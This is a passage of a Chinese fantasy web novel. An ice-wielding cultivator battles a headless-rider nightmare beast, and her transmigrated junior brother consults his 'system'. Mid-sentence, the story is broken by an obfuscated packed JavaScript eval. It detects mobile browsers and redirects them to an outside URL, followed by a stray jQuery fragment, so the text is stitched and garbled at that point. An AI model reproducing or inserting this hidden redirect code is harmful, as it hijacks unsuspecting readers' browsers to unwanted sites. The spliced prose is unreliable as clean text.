送嫁人来了!
果然如她所猜测的一样,只有达成新郎新娘二人同时步入婚房这个条件,它才会出现。
纪羌文心中瞬时警铃大作,她身上还拖着一个因伤晕厥的累赘,要保全师弟性命的同时还要剿灭送嫁人,这样看来,现如今的情况对她极其不利。
她只能将师弟冰冻在一旁,寻常的刀剑面对她的零度寒冰无法割裂分毫,可暂时保全师弟的性命。
若对方使用的是非同寻常之物,就只能怪师弟太过弱小,今日便是他无法逃脱的死亡宿命了。
接着,纪羌文利用【漫漫寒夜】,聚集空气中四散的水汽,手中迅速凝结出冰刃。闭眼,静下心,聆听房间内送嫁人四窜的声响。
速度很快,四脚抓地,踩踏在房檐的木制榫卯支撑上,发出了铁蹄摩擦木屑的“哒哒”声。
它前腿蓄力,后腿起瞪,目标是站立在房屋中间的她。
纪羌文扬手作格挡动作,抵御住了送嫁人的这次袭击。
以往一击毙命,这次袭击却失败了。
送嫁人许是未见过如此难杀的新娘,听空气中呼吸的气息都厚重了几分。
很好,这样很好,更方便纪羌文锁定出目标的位置了。
接下来,送嫁人对纪羌文的攻击越来越迅速,也越来越猛烈,可任是这样,纪羌文依旧迎接得当。
冰刃与铁器交锋之间,扬起阵阵电光火石,时不时照亮了与送嫁人相对的纪羌文的脸,俨然是一副享受在其间的表情,嘴角不自觉上扬,硕大的眼眶中奔腾着肃杀之气。
“怎么可能?”送嫁人道出的语气满是不可置信。
屋内的寒风吹拂得没有最开始的强烈,摇曳在四处的风飘荡无序,还裹挟着阵阵血腥气味。
纪羌文怡然自得,说话声接连上扬了几个音调,“现如今整个屋内的空气中夹杂了我散布的冰晶!”只要是生物,便会呼吸。在送嫁人呼吸的瞬间,冰晶已进入送嫁人体内,所以无论送嫁人如何隐匿它的踪迹,她都能在黑暗中一眼锁定。
她所掌握的寒冰,在她的眼中无处遁形!
纪羌文许久没遇见实力如此强劲的对手了!她恋战极了,她还能陪它继续玩一会儿,待她玩累了,再将它了结。
之后的几个回合,送嫁人节节败退,可它似不知疲惫般,依旧奋起抵抗。
“所以,这便是专属于你的秘技吗?”送嫁人在最后的一刻,与纪羌文拉开了一段长距离。
黑暗中,能清晰看到送嫁人陡然亮起两抹妖异的红光,那是自送嫁人眼眸中迸发出的!
纪羌文心脏忽的不合时宜地突突跳动,这是她经历多年战斗后,身体自我生成的的危险将到的身体感应,预示着即将迎来不妙的事件。
“秘技——【漫漫寒夜】!”四散飘零的寒风瞬间拧成一股麻绳,随着送嫁人技的施展,凌冽的寒风化作道道冰锥,笔直向着纪羌文所处的命门刺去。
怎么可能!云听阁的老家伙不是说过,世间能使用技的只有二十八人,且究其一生,只能掌握一种……普通人都未能掌握的仙人之力,一只来自阴界的低劣魇兽竟然能够使用!而且是一比一复刻她所使用的秘技!
时间所剩无几,纪羌文来不及思考为何一只魇兽能够使用与她相同的秘技。
她面前竖起冰盾,抵御送嫁人从空中施展而来的冰锥。
一面,两面,三面……冰盾破裂一面,纪羌文便凝结两面。
看到底是它的冰锥破冰速度快,还是她凝结冰盾的速度快。
只破七面。
而站立在冰盾之后的纪羌文,身上无任何损伤,连发丝都未动分毫。
假货依旧是假货,永远无法与真正的相提并论。
只不过它这一连串大范围的攻击,就只是与她逢场作秀?
不好,她堆放在西北角落的师弟!按照刚才送嫁人冰锥散开的范围,足以覆盖!
是她大意了!
秘技——【漫漫寒夜】!以纪羌文为中心,六角雪花绽放,迅速弥漫开极寒的雾气,冲破一切阻碍,将房屋内的所有事物封冻。
冰锥破开了她施下的零度寒冰,距离颜思归心脏毫厘之距的位置,被迫冰封,停了下来。
“有空担心他人,竟把自己的后背交予他人!真是可笑!”
可纪羌文停不下灌入内室的风,深沉的声音如同来自地狱的恶鬼,无休止地穿堂而入,与它的存在一般,无法捕捉。
刚才施展大范围的技,已耗尽了她全部的力气,她来不及躲避,锋利的兵刃轻易刺穿无任何防护的□□。
白刃进,红刃出。
大股鲜血自伤口喷涌而出,沾湿了她白净的面庞,眼下的乌青露出,乌青之下,是被血色染红的唇瓣,带着妖冶瑰丽的色彩。
她的嘴角张扬着笑意,露出白净的牙。
她道:“终于抓住你了,送嫁人!”
顺着她嗓音,烛火随之点燃,烛光之下,露出送嫁人真实的面目。
黑雾散去,露出自纪羌文伤口贯出的血雾弥漫下,冰封后的场景。
血色寒冰之下,是一人与一马。失去头颅的人身着坚硬的铠甲,坐于矫健的战马之上,长枪负背,从它笔挺的身姿来看,应是一位久经战场的将军。
纪羌文从未见过人形魇兽,甚至还能从其衣着打扮来分辨出其身份。
就在她双手倚靠着冰刃缓缓起身时,躲藏在红烛之后的颜思归快步上前,搀扶纪羌文起身。
“师姐,你流了好多血!”颜思归泪眼汪汪,全然不顾自己的伤痛,心疼地盯着纪羌文胸前破开的大洞,他仿佛已然忘记自己双腿的血窟窿是谁造就的。
“没事,暂时死不了。”纪羌文说话之时,嘴角不时溢出鲜血。
颜思归搀扶她起身,让她倚靠在坍塌了一角的床上休息。
纪羌文摇摇头,拒绝了休息,“送嫁人只是暂时冰封住了,要想送它回阴界,必须找回它身死的遗骸,替它的遗骸超度。”
颜思归态度强硬,不容纪羌文拒绝,忙摁着纪羌文到床上休息,“师姐,你受伤了,接下来的事情交给我处理吧。”
“你……知道接下来要如何做吗?”纪羌文疑惑地抬眼,显然,她依旧不信任颜思归。
颜思归一脸自信满满,“知道呀!师尊放于藏书阁中的《如何剿灭魇兽的一百零八的方法》,我在出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253725|197978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发前可是彻夜通读了!”
个屁!
纪羌文想着,既然师弟这样说了,那就让他试着做吧。
她看着颜思归转身向前走的背影,现在她才开始正眼打量她的这位师弟,宽肩窄腰,红色的婚服与他修长的身形相得益彰,更显露出他清秀的少年气。
看来红色很适合他!
颜思归在转身的瞬间,收起了自己虚伪的笑容,他揉了揉自己笑得酸胀的脸颊,忍着双腿传来的剧痛,以及全身气冷入骨的寒气浸透。
不由得感叹师弟不好当,纪羌文的乖巧师弟更是不好当!
他在心里呼叫系统。
颜思归:【统,魇兽要如何消灭呀?】
他既已在纪羌文面前立下军令状,誓要在她面前维护好师弟形象。
系统:【你没看你师尊著作的书籍?】
颜思归:【没,宗门已经三天断水绝粮,我没得道成仙就不错了,还有精力去看那鬼画符的书?笑话!】
系统:【那你刚才还信誓旦旦的……】
颜思归:【师姐面前,总是要维持形象的!】
系统短暂无语了几分钟。
系统:【在魇兽身上找到能代表其身份特征的标识,但记住,千万不要念出来,剩下的,就交给你师姐就行。】
颜思归:【就这么简单?】
系统没有回答他的话。
颜思归无语地瘪嘴。这一个两个,惜字如金,多说一句话会死呀。
他站立在冰冻的送嫁人冰雕前,伸手敲击血色的厚冰,“咚咚咚”,发出清脆的回响,里面是中空的。
这说明魇兽本身未有实体,如同他认知的鬼魂般的存在,却能够实际影响到正常人的生活,能伤害人,能使用技,还能说话……
这样一比较,比鬼魂更加高级点。
原著中这个送嫁人的任务是师姐达成的,可她也因完成任务而死。
螳螂捕蝉,黄雀在后。多少人对于云听阁的积分排行榜第一的位置虎视眈眈。
师姐确实是剿灭魇兽的好手,但她不善于对付诡计多端的人。
颜思归没有多纠结,这单任务,纪羌文不能完成!
他围着冻成冰雕的送嫁人周围转了一圈,黑棕色的马匹,四肢矫健有力,体型较小,倒像是内蒙古处的马匹种类,而坐于马上的无头人……这身材,怎么看,都像个女人啊!
个头不高,四肢倒是纤长,腰臀比例相差较大,尽管掩去了身上的女性特征,颜思归仍迅速肯定了自己的想法,这就是位女生。
一个女子征战沙场,却没了头颅,死后化为魇兽对新婚之夜的夫妻大杀特杀……他已经能脑补一连串女子的悲惨经历了。
“颜思归,好了没?”身后传来纪羌文的催促声。
“好了!”颜思归转到无头人的身前,注意到了她胸前佩戴的玉牌,被血污沾染了大半,依稀能分辨出刻在上面的字——“于婉”。
他仔细辨认着,并将玉牌上的字认出了声。
随着他的话音落下,他身前封冻的血色寒冰缓缓破裂,被囚困住的送嫁人冲破了束缚,手举长枪,毫不留情地朝着颜思归的面门刺去。